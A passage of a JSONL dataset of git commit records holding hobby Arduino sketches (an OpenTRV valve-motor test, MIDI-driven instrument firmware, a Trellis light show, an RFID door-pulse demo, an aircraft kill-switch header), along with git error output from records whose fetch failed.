OTV0P2BASE::serialPrintlnAndFlush(F(fs)); }\n#define DEBUG_SERIAL_PRINTLN() { OTV0P2BASE::serialPrintlnAndFlush(); }\n\/\/ Print timestamp with no newline in format: MinutesSinceMidnight:Seconds:SubCycleTime\nextern void _debug_serial_timestamp();\n#define DEBUG_SERIAL_TIMESTAMP() _debug_serial_timestamp()\n#endif \/\/ DEBUG\n\n\/\/ OBJECTS & VARIABLES\n\/**\n * Peripherals present on REV7\n * - Pot Set input to Hi-Z?\n * - PHT IO_POWER_UP LOW\n * - Encoder IO_POWER_UP LOW\n * - LED Set pin HIGH?\n * - Button Set to INPUT\n * - H-Bridge Control pins HIGH, Current sense set to input.\n * - TMP112 read() once.\n * - XTAL Setup and leave running?\n * - UART Disable\n *\/\n\n\/**\n * Dummy Types\n *\/\n\/\/ Placeholder class with dummy static status methods to reduce code complexity.\ntypedef OTV0P2BASE::DummySensorOccupancyTracker OccupancyTracker;\n\n\/**\n * Supply Voltage instance\n *\/\n\/\/ Sensor for supply (eg battery) voltage in millivolts.\n\/\/ Singleton implementation\/instance.\nOTV0P2BASE::SupplyVoltageCentiVolts Supply_cV;\n\n\/*\n * TMP112 instance\n *\/\nOTV0P2BASE::RoomTemperatureC16_TMP112 TemperatureC16;\n\n\/**\n * Temp pot\n *\/\n\/\/ Sensor for temperature potentiometer\/dial UI control.\n\/\/ Correct for DORM1\/TRV1 with embedded REV7.\n\/\/ REV7 does not drive pot from IO_POWER_UP.\ntypedef OTV0P2BASE::SensorTemperaturePot<OccupancyTracker, nullptr, 48, 296, false> TempPot_t;\nTempPot_t TempPot;\n\n\/**\n * Ambient Light Sensor\n *\/\ntypedef OTV0P2BASE::SensorAmbientLight AmbientLight;\n\/\/ Singleton implementation\/instance.\nAmbientLight AmbLight;\n\n\/**\n * Valve Actuator\n *\/\n\/\/ DORM1\/REV7 direct drive motor actuator.\nstatic constexpr bool binaryOnlyValveControl = false;\nstatic constexpr uint8_t m1 = MOTOR_DRIVE_ML;\nstatic constexpr uint8_t m2 = MOTOR_DRIVE_MR;\nstatic constexpr uint8_t motorNSleep = 0; \/\/ FIXME!!!!\n\/\/typedef OTRadValve::DRV8850HardwareDriver<m1, m2, motorSleep, MOTOR_DRIVE_MI_AIN, MOTOR_DRIVE_MC_AIN, decltype(Supply_cV), &Supply_cV, binaryOnlyValveControl> ValveDirect_t; \/\/ XXX using alternative driver\n\/\/\/\/ Singleton implementation\/instance.\n\/\/\/\/ Suppress unnecessary activity when room dark, eg to avoid disturbance if device crashes\/restarts,\n\/\/\/\/ unless recent UI use because value is being fitted\/adjusted.\n\/\/ValveDirect_t ValveDirect([](){return(AmbLight.isRoomDark());});\nOTRadValve::DRV8850HardwareDriver<m1, m2, motorNSleep, 1, MOTOR_DRIVE_MC_AIN> motorDriver;\n\/\/OTRadValve::ValveMotorDirectV1HardwareDriver<motorLeft, motorRight, motorCurrent, motorEncoder> motorDriver;\nOTRadValve::TestValveMotor ValveDirect((OTRadValve::HardwareMotorDriverInterface *)(&motorDriver));\n\n\/\/ FUNCTIONS\n\n\/**\n * Panic Functions\n *\/\n\/\/ Indicate that the system is broken in an obvious way (distress flashing the main LED).\n\/\/ DOES NOT RETURN.\n\/\/ Tries to turn off most stuff safely that will benefit from doing so, but nothing too complex.\n\/\/ Tries not to use lots of energy so as to keep distress beacon running for a while.\nvoid panic()\n{\n \/\/ Reset radio and go into low-power mode.\n\/\/ PrimaryRadio.panicShutdown();\n \/\/ Power down almost everything else...\n OTV0P2BASE::minimisePowerWithoutSleep();\n pinMode(OTV0P2BASE::LED_HEATCALL_L, OUTPUT);\n for( ; ; )\n {\n OTV0P2BASE::LED_HEATCALL_ON();\n OTV0P2BASE::nap(WDTO_15MS);\n OTV0P2BASE::LED_HEATCALL_OFF();\n OTV0P2BASE::nap(WDTO_120MS);\n }\n}\n\/\/ Panic with fixed message.\nvoid panic(const __FlashStringHelper *s)\n{\n OTV0P2BASE::serialPrintlnAndFlush(); \/\/ Start new line to highlight error. \/\/ May fail.\n OTV0P2BASE::serialPrintAndFlush('!'); \/\/ Indicate error with leading '!' \/\/ May fail.\n OTV0P2BASE::serialPrintlnAndFlush(s); \/\/ Print supplied detail text. \/\/ May fail.\n panic();\n}\n\n\n\/**\n * @brief Set pins and on-board peripherals to safe low power state.\n *\/\n\n\n\/\/========================================\n\/\/ SETUP\n\/\/========================================\n\n\/\/ Setup routine: runs once after reset.\n\/\/ Does some limited board self-test and will panic() if anything is obviously broken.\nvoid setup()\n{\n \/\/ Set appropriate low-power states, interrupts, etc, ASAP.\n OTV0P2BASE::powerSetup();\n \/\/ IO setup for safety, and to avoid pins floating.\n OTV0P2BASE::IOSetup();\n\n OTV0P2BASE::serialPrintAndFlush(F(\"\\r\\nOpenTRV: \")); \/\/ Leading CRLF to clear leading junk, eg from bootloader.\n V0p2Base_serialPrintlnBuildVersion();\n\n OTV0P2BASE::LED_HEATCALL_ON();\n\n \/\/ Give plenty of time for the XTal to settle.\n delay(1000);\n\n \/\/ Have 32678Hz clock at least running before going any further.\n \/\/ Check that the slow clock is running reasonably OK, and tune the fast one to it.\n if(!::OTV0P2BASE::HWTEST::calibrateInternalOscWithExtOsc()) { panic(F(\"Xtal\")); } \/\/ Async clock not running or can't tune.\n\/\/ if(!::OTV0P2BASE::HWTEST::check32768HzOsc()) { panic(F(\"xtal\")); } \/\/ Async clock not running correctly.\n\n \/\/ Buttons should not be activated DURING boot for user-facing boards; an activated button implies a fault.\n \/\/ Check buttons not stuck in the activated position.\n if(fastDigitalRead(BUTTON_MODE_L) == LOW) { panic(F(\"b\")); }\n\n \/\/ Collect full set of environmental values before entering loop() in normal mode.\n \/\/ This should also help ensure that sensors are properly initialised.\n\n \/\/ No external sensors are *assumed* present if running alt main loop\n \/\/ This may mean that the alt loop\/POST will have to initialise them explicitly,\n \/\/ and the initial seed entropy may be marginally reduced also.\n const int cV = Supply_cV.read();\n DEBUG_SERIAL_PRINT_FLASHSTRING(\"V: \");\n DEBUG_SERIAL_PRINT(cV);\n DEBUG_SERIAL_PRINTLN();\n const int heat = TemperatureC16.read();\n DEBUG_SERIAL_PRINT_FLASHSTRING(\"T: \");\n DEBUG_SERIAL_PRINT(heat);\n DEBUG_SERIAL_PRINTLN();\n\/\/ SHT21 not present by default.\n\/\/ const uint8_t rh = RelHumidity.read();\n\/\/ DEBUG_SERIAL_PRINT_FLASHSTRING(\"RH%: \");\n\/\/ DEBUG_SERIAL_PRINT(rh);\n\/\/ DEBUG_SERIAL_PRINTLN();\n const int light = AmbLight.read();\n DEBUG_SERIAL_PRINT_FLASHSTRING(\"L: \");\n DEBUG_SERIAL_PRINT(light);\n DEBUG_SERIAL_PRINTLN();\n const int tempPot = TempPot.read();\n DEBUG_SERIAL_PRINT_FLASHSTRING(\"temp pot: \");\n DEBUG_SERIAL_PRINT(tempPot);\n DEBUG_SERIAL_PRINTLN();\n\n\/\/ ValveDirect.read();\n\n \/\/ Initialised: turn main\/heatcall UI LED off.\n OTV0P2BASE::LED_HEATCALL_OFF();\n\n \/\/ Do OpenTRV-specific (late) setup.\n}\n\n\n\/\/========================================\n\/\/ MAIN LOOP\n\/\/========================================\n\/**\n * @brief Sleep in low power mode if not sleeping.\n *\/\nvoid loop()\n{\n \/\/ Ensure that serial I\/O is off while sleeping.\n OTV0P2BASE::powerDownSerial();\n \/\/ Power down most stuff (except radio for hub RX).\n OTV0P2BASE::minimisePowerWithoutSleep();\n\n delay(100);\n const int cV = Supply_cV.read();\n DEBUG_SERIAL_PRINT_FLASHSTRING(\"V: \");\n DEBUG_SERIAL_PRINT(cV);\n DEBUG_SERIAL_PRINTLN();\n ValveDirect.poll();\n const uint16_t mi = OTV0P2BASE::analogueNoiseReducedRead(MOTOR_DRIVE_MI_AIN, DEFAULT);\n DEBUG_SERIAL_PRINT_FLASHSTRING(\"I: \");\n DEBUG_SERIAL_PRINT(mi);\n DEBUG_SERIAL_PRINTLN();\n\n}\n\n\n\n\/**\n * @note Power consumption figures (all in mA).\n * Date\/commit: Device: Wake (Sleep) @ Voltage\n * 20161111\/0e6ec96 REV7: 1.5 (1.1) @ 2.5 V REV11: 0.45 (0.03) @ 2.5 V\n * 20161111\/f2eed5e REV7: 0.46 (0.04) @ 2.5 V\n *\/\n \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'testsuite\/REV20Motor\/REV20Motor.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"52bcc778a0bf1083af4b57dfbf82358d02039250","subject":"Added Taylor's readByteAsInt method","message":"Added Taylor's readByteAsInt method\n","repos":"huskyroboticsteam\/2014-15,lolisa\/2014-15,lolisa\/2014-15,lolisa\/2014-15,huskyroboticsteam\/2014-15,huskyroboticsteam\/2014-15","old_file":"Arduino Code\/receiveOverEthernet.ino","new_file":"Arduino Code\/receiveOverEthernet.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/lolisa\/2014-15.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"82d90dba3f92b9952e822c0214867ea299a347dc","subject":"Updates Arduino","message":"Updates Arduino\n","repos":"MacgyverPT\/Arduino-RC_Car","old_file":"Data\/ArduinoSketch\/ArduinoSketch.ino","new_file":"Data\/ArduinoSketch\/ArduinoSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/MacgyverPT\/Arduino-RC_Car.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"e2016cf65b62a69688d6bb976f63db37f686d501","subject":"Added an example with EthernetServer","message":"Added an example with EthernetServer\n","repos":"hemantsangwan\/Arduino-Json,alyf80\/ArduinoJson,janelia-arduino\/ArduinoJson,tirumalavan\/ArduinoJson,CanTireInnovations\/ArduinoJson,bblanchon\/ArduinoJson,0ddie\/ArduinoJson,venkatarajasekhar\/ArduinoJson,firepick1\/ArduinoJson,spotman\/ArduinoJson,venkatarajasekhar\/ArduinoJson,CanTireInnovations\/ArduinoJson,hassanabidpk\/ArduinoJson,AndreyAyres\/ArduinoJson,janelia-arduino\/ArduinoJson,bblanchon\/ArduinoJson,hassanabidpk\/ArduinoJson,peterpolidoro\/ArduinoJson,chuz\/ArduinoJson,hassanabidpk\/ArduinoJson,ELZo3\/ArduinoJson,alyf80\/ArduinoJson,PeeJay\/ArduinoJson,janelia-arduino\/ArduinoJson,venusdharan\/ArduinoJson,CanTireInnovations\/ArduinoJson,venusdharan\/ArduinoJson,fayvlad\/ArduinoJson,fayvlad\/ArduinoJson,tirumalavan\/ArduinoJson,tirumalavan\/ArduinoJson,spotman\/ArduinoJson,weera00\/ArduinoJson,firepick1\/ArduinoJson,fayvlad\/ArduinoJson,naveensuryakumar\/json,0ddie\/ArduinoJson,ELZo3\/ArduinoJson,bblanchon\/ArduinoJson,chuz\/ArduinoJson,venusdharan\/ArduinoJson,spotman\/ArduinoJson,AndreyAyres\/ArduinoJson,hemantsangwan\/Arduino-Json,hemantsangwan\/Arduino-Json,PeeJay\/ArduinoJson,firepick1\/ArduinoJson,AndreyAyres\/ArduinoJson,alyf80\/ArduinoJson,PeeJay\/ArduinoJson,venkatarajasekhar\/ArduinoJson,peterpolidoro\/ArduinoJson,weera00\/ArduinoJson,peterpolidoro\/ArduinoJson,peterpolidoro\/ArduinoJson,janelia-arduino\/ArduinoJson,weera00\/ArduinoJson,naveensuryakumar\/json,naveensuryakumar\/json,chuz\/ArduinoJson,ELZo3\/ArduinoJson","old_file":"examples\/JsonServer\/JsonServer.ino","new_file":"examples\/JsonServer\/JsonServer.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/CanTireInnovations\/ArduinoJson.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"668df270c4ac668de133a73718514d26df44e720","subject":"delete unnecessary file","message":"delete unnecessary file","repos":"shsssc\/ProjectDrift,shsssc\/ProjectDrift,shsssc\/ProjectDrift","old_file":"sketch_nov24a.ino","new_file":"sketch_nov24a.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/shsssc\/ProjectDrift.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"3443de394862080b21d3a25b65c87913233100a6","subject":"uploaded ensemble four firmeware","message":"uploaded ensemble four firmeware\n","repos":"Sonoscopia\/Phobos,Sonoscopia\/Phobos,Sonoscopia\/Phobos","old_file":"Firmeware\/EnsembleFour\/EnsembleFour.ino","new_file":"Firmeware\/EnsembleFour\/EnsembleFour.ino","new_contents":"\/* PHOBOS - EnsembleFour firmware v.0.2 (27.05.2017)\n * \n * using: \n * Arduino v1.8.0\n * MIDI_Library v.4.3.1 by fortyseveneffects\n * \n * plays: \n * A - 3 motors on mecano pieces playing strings\n * B - 4 motros moving dog toys\n * C - 4 solenoids on a steel triangle loaded with springs\n *\/\n\n#include <MIDI.h>\n#define MIDICH 4\n\n\/\/ MECANO'S PINS\n#define A1 10\n#define A2 11\n#define A3 12 \n\n\/\/ DOGS' PINS\n#define B1 6\n#define B2 7\n#define B3 8\n#define B4 9\n\n\/\/ SPRINGS' PINS\n#define C1 2\n#define C2 3\n#define C3 4\n#define C4 5\n\n\/\/ make note to pin array\nbyte note2pin[28];\nbyte vel, pitch;\n\nMIDI_CREATE_DEFAULT_INSTANCE();\n\nvoid setup() {\n MIDI.begin(MIDICH); \/\/ Launch MIDI and listen to channel 1\n MIDI.turnThruOn();\n \n \/\/ set output pins\n pinMode(A1, OUTPUT);\n pinMode(A2, OUTPUT);\n pinMode(A3, OUTPUT);\n \n pinMode(B1, OUTPUT);\n pinMode(B2, OUTPUT);\n pinMode(B3, OUTPUT);\n pinMode(B4, OUTPUT);\n \n pinMode(C1, OUTPUT);\n pinMode(C2, OUTPUT);\n pinMode(C3, OUTPUT);\n pinMode(C4, OUTPUT);\n\n \/\/ set note2pin array\n note2pin[0] = A1;\n note2pin[1] = A2;\n note2pin[2] = A3;\n\n note2pin[12] = B1;\n note2pin[13] = B2;\n note2pin[14] = B3;\n note2pin[15] = B4;\n\n note2pin[24] = C1;\n note2pin[25] = C2;\n note2pin[26] = C3;\n note2pin[27] = C4;\n}\n\nvoid loop() {\n if(MIDI.read()){\n switch(MIDI.getType()){\n case midi::NoteOn:\n pitch = MIDI.getData1();\n vel = MIDI.getData2();\n analogWrite(note2pin[pitch], vel << 1);\n break;\n\n case midi::NoteOff:\n pitch = MIDI.getData1();\n analogWrite(note2pin[pitch], LOW);\n break;\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Firmeware\/EnsembleFour\/EnsembleFour.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9b464c37d3c3ffe782bb0449df415f8e81dbe7fc","subject":"idle trellis lightshow","message":"idle trellis lightshow\n","repos":"joergkeller\/arduino-musicbox,joergkeller\/arduino-musicbox","old_file":"sketch\/sketch.ino","new_file":"sketch\/sketch.ino","new_contents":"\/*************************************************** \n Arduino control code for a music maker board and a trellis keypad.\n\n The control code shall\n * read trellis keys\n * on key press play a music file from the micro SD card from a specific folder and blink the respective key\n * on pressing the same key or when playback stops jump to the next file in the folder, until all music is played\n * read the rotary decoder to change the volume, the maximum volume can be configured\n * detect when a headphone is plugged in and mute the amplifier for the internal speakers\n * switch the music box off automatically after an idle period\n\n Written by J\u00f6rg Keller, Switzerland \n MIT license, all text above must be included in any redistribution\n ****************************************************\/\n\n#include <Wire.h>\n#include <Adafruit_Trellis.h>\n\n#define NUMKEYS 4\n#define BLINK_DELAY 100\n\n\/\/ Trellis wiring\n#define INTPIN 1\n\n\/\/ Idle show\n#define LIGHT_UP 1\n#define TURN_OFF 2\n#define WAIT_OFF 3\n\n\nAdafruit_Trellis trellis = Adafruit_Trellis();\nunsigned long nextIdleTick = millis();\nint idleShowState = LIGHT_UP;\nint nextLED = 0;\n\nvoid setup() {\n Serial.begin(14400);\n while (!Serial) delay(1);\n Serial.println(\"MusicBox setup\");\n \n \/\/ INT pin requires a pullup\n pinMode(INTPIN, INPUT_PULLUP);\n\n initializeTrellis();\n}\n\nvoid initializeTrellis() {\n trellis.begin(0x70);\n trellis.readSwitches(); \/\/ ignore already pressed switches\n trellis.clear();\n trellis.writeDisplay();\n Serial.println(\"Trellis initialized\");\n}\n\nvoid loop() {\n unsigned long now = millis();\n if (nextIdleTick <= now) {\n nextIdleTick += tickIdleShow();\n }\n}\n\nunsigned int tickIdleShow() {\n \/\/ Light up all keys in order\n if (idleShowState == LIGHT_UP) {\n trellis.setLED(nextLED);\n trellis.writeDisplay();\n nextLED = (nextLED + 1) % NUMKEYS;\n if (nextLED == 0) {\n idleShowState = TURN_OFF;\n }\n return BLINK_DELAY;\n\n \/\/ Turn off all keys in order\n } else if (idleShowState == TURN_OFF) {\n trellis.clrLED(nextLED);\n trellis.writeDisplay();\n nextLED = (nextLED + 1) % NUMKEYS;\n if (nextLED == 0) {\n idleShowState = WAIT_OFF;\n return 2000;\n }\n return BLINK_DELAY;\n\n \/\/ Wait in darkness\n } else if (idleShowState == WAIT_OFF) {\n \/\/Serial.print(\".\");\n trellis.clear(); \/\/ just to clean up\n idleShowState = LIGHT_UP;\n return BLINK_DELAY;\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketch\/sketch.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"497030fbade6f9a0f41d628d002ef9f4b69f7c6c","subject":"fooling around with an arduino uno","message":"fooling around with an arduino uno\n","repos":"frankcash\/Misc,frankcash\/Misc,frankcash\/Misc,frankcash\/Misc,frankcash\/Misc,frankcash\/Misc","old_file":"sketch_apr06j.ino","new_file":"sketch_apr06j.ino","new_contents":"\/\/ include the library code:\n#include <LiquidCrystal.h>\n\n\/\/ initialize the library with the numbers of the interface pins\nLiquidCrystal lcd(12, 11, 5, 4, 3, 2);\n\nvoid setup() {\n randomSeed(analogRead(0));\n \/\/ declare pin 9 to be an output:\n pinMode(9, OUTPUT); \n analogWrite(9, 50); \n \/\/ set up the LCD's number of columns and rows: \n lcd.begin(16, 2);\n \/\/ Print a message to the LCD.\n lcd.clear();\n lcd.print(\"\");\n}\n\nvoid loop() {\n int x = random(5);\n lcd.setCursor(0,1);\n int randNumber = random(100); \/\/ gets a new rand\n int wordNum = randNumber -x;\n lcd.print(randNumber-x);\n delay(500);\n lcd.clear(); \/\/ clears then runs after delay\n delay(500);\n x++;\n if(wordNum>50){\n lcd.print(\"potato\");\n }else if(wordNum<50){\n lcd.print(\"knishes\");\n }\n delay(500);\n \n lcd.clear(); \/\/ clears then runs after delay\n delay(500);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketch_apr06j.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c5de5fc77b068c82bbe9a5ef8323fef7c7da0a6d","subject":"Simple Open then Close Interaction","message":"Simple Open then Close Interaction\n","repos":"janunezc\/robotics,janunezc\/robotics,janunezc\/robotics,janunezc\/robotics","old_file":"rfid\/rfid_rdm630_open_then_close\/rfid_rdm630_open_then_close.ino","new_file":"rfid\/rfid_rdm630_open_then_close\/rfid_rdm630_open_then_close.ino","new_contents":"#include \"rdm630.h\"\n\nrdm630 rfid(6, 0); \/\/TX-pin of RDM630 connected to Arduino pin 6\nint led_yellow = 2;\nint led_green = 3;\nlong OPEN_PULSE_WIDTH = 800;\nlong CLOSE_PULSE_WIDTH = 1000;\nlong OPEN_STATE_DURATION = 5000; \nlong CODE_READ_DELAY = 10000;\nlong codeReadDelayMaxMillis = millis();\n\nvoid setup()\n{\n Serial.begin(9600); \/\/ start serial to PC\n pinMode(led_yellow, OUTPUT);\n pinMode(led_green, OUTPUT);\n rfid.begin();\n ledSignal(5,150);\n setMessage(\"READY!\");\n}\n\nvoid loop()\n{\n unsigned long rfidTagCode = 0; \n \n if(rfid.available()){\n setMessage(\"RFID Data is available! reading it...\");\n rfidTagCode = readRFIDCode();\n setMessage(\"Data: \" + String(rfidTagCode));\n if(millis() > codeReadDelayMaxMillis) {\n if(rfidTagCode == 3716290) {\n setMessage(\"OPEN\");\n openPulse();\n closePulse();\n codeReadDelayMaxMillis = millis() + CODE_READ_DELAY;\n } else {\n setMessage(\"I DONT KNOW YOU!\");\n closePulse();\n }\n } else {\n setMessage(\"SkippingNewReads\");\n delay(500);\n } \n }\n}\n\nvoid openPulse(){\n setMessage(\"SENDING OPEN PULSE\");\n digitalWrite(led_green, HIGH);\n delay(OPEN_PULSE_WIDTH);\n digitalWrite(led_green,LOW);\n setMessage(\"OPEN PULSE DONE! Waiting for OPEN STATE DURATION...\");\n delay(OPEN_STATE_DURATION);\n setMessage(\"OPEN STATE COMPLETE\");\n}\n\nvoid closePulse(){\n setMessage(\"SENDING CLOSE PULSE\");\n digitalWrite(led_yellow, HIGH);\n delay(CLOSE_PULSE_WIDTH);\n digitalWrite(led_yellow, LOW);\n setMessage(\"CLOSE PULSE DONE!\");\n}\n\nunsigned long readRFIDCode(){\n byte data[6];\n byte length;\n\n rfid.getData(data,length);\n Serial.println(\"Data valid\");\n for(int i=0;i<length;i++){\n Serial.print(data[i],HEX);\n Serial.print(\" \");\n }\n Serial.println();\n \/\/concatenate the bytes in the data array to one long which can be \n \/\/rendered as a decimal number\n unsigned long result = \n ((unsigned long int)data[1]<<24) + \n ((unsigned long int)data[2]<<16) + \n ((unsigned long int)data[3]<<8) + \n data[4]; \n Serial.print(\"decimal CardID: \");\n Serial.println(result);\n return result; \n}\n\nvoid ledSignal(int times, int milliseconds){\n for(int i=0; i<times; i++){\n digitalWrite(led_yellow, HIGH);\n digitalWrite(led_green, HIGH);\n delay(milliseconds);\n digitalWrite(led_yellow, LOW);\n digitalWrite(led_green, LOW);\n delay(milliseconds);\n }\n}\n\nvoid addToMessage(String message){\n setMessage(message, false);\n}\nvoid setMessage(String message){\n setMessage(message, true);\n}\nvoid setMessage(String message, bool newLine){\n String timeStamp = String(millis());\n String finalMessage = timeStamp + \" - \" + message;\n if(newLine){\n Serial.println(finalMessage);\n } else {\n Serial.print(message);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'rfid\/rfid_rdm630_open_then_close\/rfid_rdm630_open_then_close.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"28df882617c3a60038066319722f3d5ac5146a62","subject":"Added base code(without menus)","message":"Added base code(without menus)\n\nAdded base code(without menus) and no optimization\n","repos":"NailAlex\/KillSwitchDuino","old_file":"KillSwitchduino\/KillSwitchduino.ino","new_file":"KillSwitchduino\/KillSwitchduino.ino","new_contents":"\/* Smart KillSwitchDuino for flying model aircraft with gasoline engine and electronic inginion\n * Author: NailMan\n * Controller type: Arduino Nano(Mega328)\n * Version: 1.1\n * Features:\n * 1 - Handle PPM signal from RX for Kill Switching operate\n * 2 - Service mode(PIN D12 HIGH\/LOW) for activate embedded servotester with external 10K Ohm variable resistor(PIN A1). No TX\/RX needed!\n * 3 - Embedded RX voltage reading, analyze and blocking killswitch working if battery voltage is Low\/Very Low for 2 sec average value(Level1 - soft block\/Level2 - hard block)\n * 4 - Beeper for seaching mode(0.5sec cycle), audialize kill switching (short ping) and Imperial March for Level2 Voltage Alert\n * 5 - Three-color LED indicator: Greed solid - NORMAL, Green flash - Batt Low Voltage, Red flashing - Engine Off, Blue flash - No RX signal.\n * 6 - Serial port telemetry output for external serial devices(Bluetooth)\n * 7 - Configuration mode (like ESC) with EPPROM config saving:\n * a) RX signal calibrating procedure\n * b) Engine stopping if no RX signal\n * c) RX battery chemistry type select(LiPO, LiFE) for correct battery protecting\n *\/\n\n\n\/\/Include Section\n\/\/Core includes\n#include <Wire.h>\n#include <Timer.h> \n#include <Servo.h>\n#include <EEPROM.h>\n \n\/\/Sensors PINs\n#define MainBattVoltagePin A0 \n \n\/\/LEDs\n#define MAIN_LED_R 10\n#define MAIN_LED_G 9\n#define MAIN_LED_B 6\n#define LED_PIN 13\n\n\/\/Servos and PPM\n#define SERVO_TEST_OUTPIN 5 \/\/Embedded servotester outbound pin(parallel with KILLSWITCH_INPIN on device)\n#define SERVO_TEST_INPIN A1 \/\/Embedded servotester inbound pin\n#define KILLSWITCH_INPIN 2 \/\/Main killswitch inbound pin \n#define KILLSWITCH_OUTPIN 7 \/\/Killswitch outbound pin for MOSFET switching\n#define DEF_KILLSWITCH_LEVEL 1500 \/\/Default switching level in ms (1000<SwitchLevel<2000)\n#define DEF_LOWER_PPM_LEVEL 1000\n#define DEF_UPPER_PPM_LEVEL 2000\n\n\/\/System States\n#define SYSTEM_NORMAL 0\n#define SYSTEM_FIRST_START 1\n#define SYSTEM_IMPERIAL_MARCH 6\n#define SYSTEM_MENU_M 21 \n#define SYSTEM_MENU_1_CAL 22\n#define SYSTEM_MENU_2_BTYPE 23\n#define SYSTEM_MENU_3_RX 24\n#define SYSTEM_SERVICE_PIN 12\n\n\n\/\/BEEPER\n#define BEEPER_PIN 11\n#define BEEPER_ACT_PERIOD 2000 \/\/Time limits within activate Beeper if >=3 time EngineStop pushed\n#define BEEPER_FREQ 2300 \/\/For feature use\n\n\/\/Battery Section\n\/\/all battery types default as 2S\n#define BATT_LIFE 17\n#define BATT_LIPO 21\nconst float BATT_LIFE_LEVEL1 = 6.6;\nconst float BATT_LIFE_LEVEL2 = 6.1;\nconst float BATT_LIPO_LEVEL1 = 7.3;\nconst float BATT_LIPO_LEVEL2 = 7.1;\n#define BATT_AVERAGE_METER_RANGE 2000 \/\/battery voltage time range for calc average\n\n\/\/Variables\n\/\/System state vars\nbool SwitchPOS = false; \/\/Switch position. TRUE if down, FALSE if UP\nbool SwitchPOSUp = false; \/\/from upper position flag\nbool EngineSTOP = false; \/\/Red flashig color MainLED if True (Engine Stopped) \/ OFF if On\nbool EngineSTOPflag = false; \/\/stopflag for one time switching\nbool LastEngineSTOP = false;\nbool StatusLowBatt = false; \/\/Green flashing color MainLED if True \/ solid if false(input voltage OK)\nbool StatusNoRX = false; \/\/Blue fast flashing color MainLED if true \/ OFF if input signal OK\nbool LED13Active = false; \/\/service LED activity flag\nbool UseNoRXEngineSTOP = false;\n\n\/\/main system mode var\nuint8_t SystemMode = SYSTEM_NORMAL; \/\/SYSTEM_NORMAL - Main operate mode\n \/\/SYSTEM_FIRST_START - one time initiating after setup() passing\n \/\/SYSTEM_IMPERIAL_MARCH - Imperial march mode\n \/\/SYSTEM_MENU_M - Main Menu page\n \/\/SYSTEM_MENU_1_CAL - Calibration Menu page\n \/\/SYSTEM_MENU_2_BTYPE - Battery Type Select Menu page\n \/\/SYSTEM_MENU_3_RX - NoRX EngineOff Select Menu page\nbool SystemServiceMode = false; \/\/enable embedded servotester for PPM generating(SYSTEM_SERVICE_PIN must be HIGH)\n\n\/\/SoftTimers vars\nTimer m_timer;\n \n\/\/Voltage vars\nuint8_t MainBattType = BATT_LIFE;\nfloat MainBattVoltage = 0.0;\nfloat MainBattR1 = 14966.0; \/\/Volt devider upper leg resistor (+Vin -> read point) \nfloat MainBattR2 = 9856.0; \/\/Volt devider lower leg resistor (read point -> GND) \nfloat V_REF = 5.05; \/\/accurate value of the voltage from system linear regulator\nfloat MAIN_BATT_VADD = 0.03; \/\/Volt correction factor\nfloat MainBattVoltageSum = 0; \/\/Volt sum for calc average\nuint8_t MainBattVoltageCount = 0; \/\/Volt reading count for calc average\nfloat MainBattVoltageAverage = 0; \/\/Average voltage within reading period\nuint8_t MainBattVoltageAveragetime = 7; \/\/1 time per 2 seconds period\nfloat MainBattLowVoltageLevel1 = 0; \/\/Current Level1 for blocking ignition and Blue MainLED blinking\nfloat MainBattLowVoltageLevel2 = 0; \/\/Current Level2 for all blocking ignition and activate Imperial March\n \n\/\/Servo and PPM vars\nunsigned int ServoOutMS = 0; \/\/Intergated ServoTester output PPM signal value to KillSwitch pin\nunsigned int ServoInValue = 0; \/\/Intergated ServoTester input PPM signal value from potentiometer\nServo myservo; \nunsigned int ServoLastOutMS = 0; \/\/stopflag for one time switching\nunsigned int PPMLowerLevel = DEF_LOWER_PPM_LEVEL;\nunsigned int PPMUpperLevel = DEF_UPPER_PPM_LEVEL;\nunsigned int PPMSwitchLevel = DEF_KILLSWITCH_LEVEL;\n\n\/\/Main Switch vars\nvolatile unsigned long KillSWTime = 0; \/\/Input Switch microsec length\nvolatile unsigned long KillSWTime1; \/\/Input Switch microsec counter1\nvolatile unsigned long KillSWTime2; \/\/Input Switch microsec counter2\nvolatile uint8_t KillSWPressCounter = 0; \/\/Input Switch press counter(From ON to OFF)\nvolatile bool KillSWPressCounterChange = false; \/\/Input Switch press counter flag\nvolatile unsigned long KillSWPressLaststime = 0; \/\/Input Switch press counter LastTime\nvolatile byte KillSWCounter = 0; \/\/packets couter1 0<=X<=50\nvolatile uint8_t KillSWCounterTime = 3; \/\/Timer divider for count\nvolatile uint8_t MaxKillSWCounter = 0; \/\/packets couter2 